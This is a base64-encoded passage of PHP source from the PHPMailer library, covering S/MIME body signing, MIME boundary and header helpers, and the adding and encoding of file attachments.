CAgICAgICAgIC8vUmVzZXQgdGhlIGBFbmNvZGluZ2AgcHJvcGVydHkgaW4gY2FzZSB3ZSBjaGFuZ2VkIGl0IGZvciBsaW5lIGxlbmd0aCByZWFzb25zDQogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsNCiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsNCiAgICAgICAgICAgICRib2R5ID0gJyc7DQogICAgICAgIH0gZWxzZWlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgew0KICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleHRlbnNpb25fbWlzc2luZycpIC4gJ29wZW5zc2wnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQ0KICAgICAgICAgICAgICAgICRmaWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdtYWlsJyk7DQogICAgICAgICAgICAgICAgaWYgKGZhbHNlID09PSBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJGJvZHkpKSB7DQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkc2lnbmVkID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdzaWduZWQnKTsNCiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5Nw0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigNCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLA0KICAgICAgICAgICAgICAgICAgICAgICAgJHNpZ25lZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksDQogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwNCiAgICAgICAgICAgICAgICAgICAgICAgIG51bGwNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oDQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsDQogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkoJ2ZpbGU6Ly8nIC4gcmVhbHBhdGgoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpLCAkdGhpcy0+c2lnbl9rZXlfcGFzcyksDQogICAgICAgICAgICAgICAgICAgICAgICBudWxsLA0KICAgICAgICAgICAgICAgICAgICAgICAgUEtDUzdfREVUQUNIRUQsDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRzaWduKSB7DQogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAkYm9keSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzaWduZWQpOw0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRzaWduZWQpOw0KICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXANCiAgICAgICAgICAgICAgICAgICAgJHBhcnRzID0gZXhwbG9kZSgiXG5cbiIsICRib2R5LCAyKTsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgLj0gJHBhcnRzWzBdIC4gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsNCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnc2lnbmluZycpIC4gb3BlbnNzbF9lcnJvcl9zdHJpbmcoKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsNCiAgICAgICAgICAgICAgICAkYm9keSA9ICcnOw0KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgew0KICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGJvZHk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUmV0dXJuIHRoZSBzdGFydCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuDQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib3VuZGFyeQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGNoYXJTZXQNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0Qm91bmRhcnkoJGJvdW5kYXJ5LCAkY2hhclNldCwgJGNvbnRlbnRUeXBlLCAkZW5jb2RpbmcpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJyc7DQogICAgICAgIGlmICgkY2hhclNldCA9PSAnJykgew0KICAgICAgICAgICAgJGNoYXJTZXQgPSAkdGhpcy0+Q2hhclNldDsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGNvbnRlbnRUeXBlID09ICcnKSB7DQogICAgICAgICAgICAkY29udGVudFR5cGUgPSAkdGhpcy0+Q29udGVudFR5cGU7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRlbmNvZGluZyA9PSAnJykgew0KICAgICAgICAgICAgJGVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOw0KICAgICAgICB9DQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkYm91bmRhcnkpOw0KICAgICAgICAkcmVzdWx0IC49IHNwcmludGYoJ0NvbnRlbnQtVHlwZTogJXM7IGNoYXJzZXQ9JXMnLCAkY29udGVudFR5cGUsICRjaGFyU2V0KTsNCiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7DQogICAgICAgIC8vIFJGQzEzNDEgcGFydCA1IHNheXMgN2JpdCBpcyBhc3N1bWVkIGlmIG5vdCBzcGVjaWZpZWQNCiAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsNCiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOw0KICAgICAgICB9DQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPkxFOw0KDQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFJldHVybiB0aGUgZW5kIG9mIGEgbWVzc2FnZSBib3VuZGFyeS4NCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5DQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZW5kQm91bmRhcnkoJGJvdW5kYXJ5KQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNldCB0aGUgbWVzc2FnZSB0eXBlLg0KICAgICAqIFBIUE1haWxlciBvbmx5IHN1cHBvcnRzIHNvbWUgcHJlc2V0IG1lc3NhZ2UgdHlwZXMsIG5vdCBhcmJpdHJhcnkgTUlNRSBzdHJ1Y3R1cmVzLg0KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkNCiAgICB7DQogICAgICAgICR0eXBlID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7DQogICAgICAgICAgICAkdHlwZVtdID0gJ2FsdCc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7DQogICAgICAgICAgICAkdHlwZVtdID0gJ2lubGluZSc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsNCiAgICAgICAgICAgICR0eXBlW10gPSAnYXR0YWNoJzsNCiAgICAgICAgfQ0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsNCiAgICAgICAgaWYgKCR0aGlzLT5tZXNzYWdlX3R5cGUgPT0gJycpIHsNCiAgICAgICAgICAgIC8vVGhlICdwbGFpbicgbWVzc2FnZV90eXBlIHJlZmVycyB0byB0aGUgbWVzc2FnZSBoYXZpbmcgYSBzaW5nbGUgYm9keSBlbGVtZW50LCBub3QgdGhhdCBpdCBpcyBwbGFpbi10ZXh0DQogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEZvcm1hdCBhIGhlYWRlciBsaW5lLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHZhbHVlDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaGVhZGVyTGluZSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICRuYW1lIC4gJzogJyAuICR2YWx1ZSAuICR0aGlzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSZXR1cm4gYSBmb3JtYXR0ZWQgbWFpbCBsaW5lLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUNCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiB0ZXh0TGluZSgkdmFsdWUpDQogICAgew0KICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCBhbiBhdHRhY2htZW50IGZyb20gYSBwYXRoIG9uIHRoZSBmaWxlc3lzdGVtLg0KICAgICAqIE5ldmVyIHVzZSBhIHVzZXItc3VwcGxpZWQgcGF0aCB0byBhIGZpbGUhDQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4NCiAgICAgKiBFeHBsaWNpdGx5ICpkb2VzIG5vdCogc3VwcG9ydCBwYXNzaW5nIFVSTHM7IFBIUE1haWxlciBpcyBub3QgYW4gSFRUUCBjbGllbnQuDQogICAgICogSWYgeW91IG5lZWQgdG8gZG8gdGhhdCwgZmV0Y2ggdGhlIHJlc291cmNlIHlvdXJzZWxmIGFuZCBwYXNzIGl0IGluIHZpYSBhIGxvY2FsIGZpbGUgb3Igc3RyaW5nLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIE92ZXJyaWRlcyB0aGUgYXR0YWNobWVudCBuYW1lLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIEZpbGUgZW5jb2RpbmcgKHNlZSAkRW5jb2RpbmcpLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuDQogICAgICogQHBhcmFtIHN0cmluZyAkZGlzcG9zaXRpb24gRGlzcG9zaXRpb24gdG8gdXNlDQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24NCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQXR0YWNobWVudCgkcGF0aCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JykNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICBpZiAoIXNlbGY6OmlzUGVybWl0dGVkUGF0aCgkcGF0aCkgb3IgIUBpc19maWxlKCRwYXRoKSkgew0KICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUNCiAgICAgICAgICAgIGlmICgkdHlwZSA9PSAnJykgew0KICAgICAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJHBhdGgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkcGF0aCk7DQogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9ICRmaWxlbmFtZTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgIDAgPT4gJHBhdGgsDQogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsDQogICAgICAgICAgICAgICAgMiA9PiAkbmFtZSwNCiAgICAgICAgICAgICAgICAzID0+ICRlbmNvZGluZywNCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLA0KICAgICAgICAgICAgICAgIDUgPT4gZmFsc2UsIC8vIGlzU3RyaW5nQXR0YWNobWVudA0KICAgICAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLA0KICAgICAgICAgICAgICAgIDcgPT4gMA0KICAgICAgICAgICAgKTsNCg0KICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4Yykgew0KICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7DQogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuDQogICAgICogQHJldHVybiBhcnJheQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPmF0dGFjaG1lbnQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuDQogICAgICogUmV0dXJucyBhbiBlbXB0eSBzdHJpbmcgb24gZmFpbHVyZS4NCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib3VuZGFyeQ0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGF0dGFjaEFsbCgkZGlzcG9zaXRpb25fdHlwZSwgJGJvdW5kYXJ5KQ0KICAgIHsNCiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQ0KICAgICAgICAkbWltZSA9IGFycmF5KCk7DQogICAgICAgICRjaWRVbmlxID0gYXJyYXkoKTsNCiAgICAgICAgJGluY2wgPSBhcnJheSgpOw0KDQogICAgICAgIC8vIEFkZCBhbGwgYXR0YWNobWVudHMNCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsNCiAgICAgICAgICAgIC8vIENoZWNrIGlmIGl0IGlzIGEgdmFsaWQgZGlzcG9zaXRpb25fZmlsdGVyDQogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJGRpc3Bvc2l0aW9uX3R5cGUpIHsNCiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQNCiAgICAgICAgICAgICAgICAkc3RyaW5nID0gJyc7DQogICAgICAgICAgICAgICAgJHBhdGggPSAnJzsNCiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOw0KICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgew0KICAgICAgICAgICAgICAgICAgICAkc3RyaW5nID0gJGF0dGFjaG1lbnRbMF07DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkYXR0YWNobWVudFswXTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAkaW5jbGhhc2ggPSBtZDUoc2VyaWFsaXplKCRhdHRhY2htZW50KSk7DQogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRpbmNsaGFzaCwgJGluY2wpKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkaW5jbFtdID0gJGluY2xoYXNoOw0KICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07DQogICAgICAgICAgICAgICAgJGVuY29kaW5nID0gJGF0dGFjaG1lbnRbM107DQogICAgICAgICAgICAgICAgJHR5cGUgPSAkYXR0YWNobWVudFs0XTsNCiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsNCiAgICAgICAgICAgICAgICAkY2lkID0gJGF0dGFjaG1lbnRbN107DQogICAgICAgICAgICAgICAgaWYgKCRkaXNwb3NpdGlvbiA9PSAnaW5saW5lJyAmJiBhcnJheV9rZXlfZXhpc3RzKCRjaWQsICRjaWRVbmlxKSkgew0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGNpZFVuaXFbJGNpZF0gPSB0cnVlOw0KDQogICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJy0tJXMlcycsICRib3VuZGFyeSwgJHRoaXMtPkxFKTsNCiAgICAgICAgICAgICAgICAvL09ubHkgaW5jbHVkZSBhIGZpbGVuYW1lIHByb3BlcnR5IGlmIHdlIGhhdmUgb25lDQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoDQogICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1UeXBlOiAlczsgbmFtZT0iJXMiJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSBzcHJpbnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsDQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBSRkMxMzQxIHBhcnQgNSBzYXlzIDdiaXQgaXMgYXNzdW1lZCBpZiBub3Qgc3BlY2lmaWVkDQogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6ICVzJXMnLCAkZW5jb2RpbmcsICR0aGlzLT5MRSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgaWYgKCRkaXNwb3NpdGlvbiA9PSAnaW5saW5lJykgew0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1JRDogPCVzPiVzJywgJGNpZCwgJHRoaXMtPkxFKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyBJZiBhIGZpbGVuYW1lIGNvbnRhaW5zIGFueSBvZiB0aGVzZSBjaGFycywgaXQgc2hvdWxkIGJlIHF1b3RlZCwNCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xDQogICAgICAgICAgICAgICAgLy8gRml4ZXMgYSB3YXJuaW5nIGluIElFVEYncyBtc2dsaW50IE1JTUUgY2hlY2tlcg0KICAgICAgICAgICAgICAgIC8vIEFsbG93IGZvciBieXBhc3NpbmcgdGhlIENvbnRlbnQtRGlzcG9zaXRpb24gaGVhZGVyIHRvdGFsbHkNCiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgew0KICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRuYW1lKSk7DQogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvWyBcKFwpPD5ALDs6XFwiXC9cW1xdXD89XS8nLCAkZW5jb2RlZF9uYW1lKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0iJXMiJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXNwb3NpdGlvbiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQ0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGVuY29kZWRfbmFtZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIC8vIEVuY29kZSBhcyBzdHJpbmcgYXR0YWNobWVudA0KICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgew0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZVN0cmluZygkc3RyaW5nLCAkZW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmlzRXJyb3IoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5lbmNvZGVGaWxlKCRwYXRoLCAkZW5jb2RpbmcpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmlzRXJyb3IoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJy0tJXMtLSVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOw0KDQogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRW5jb2RlIGEgZmlsZSBhdHRhY2htZW50IGluIHJlcXVlc3RlZCBmb3JtYXQuDQogICAgICogUmV0dXJucyBhbiBlbXB0eSBzdHJpbmcgb24gZmFpbHVyZS4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIG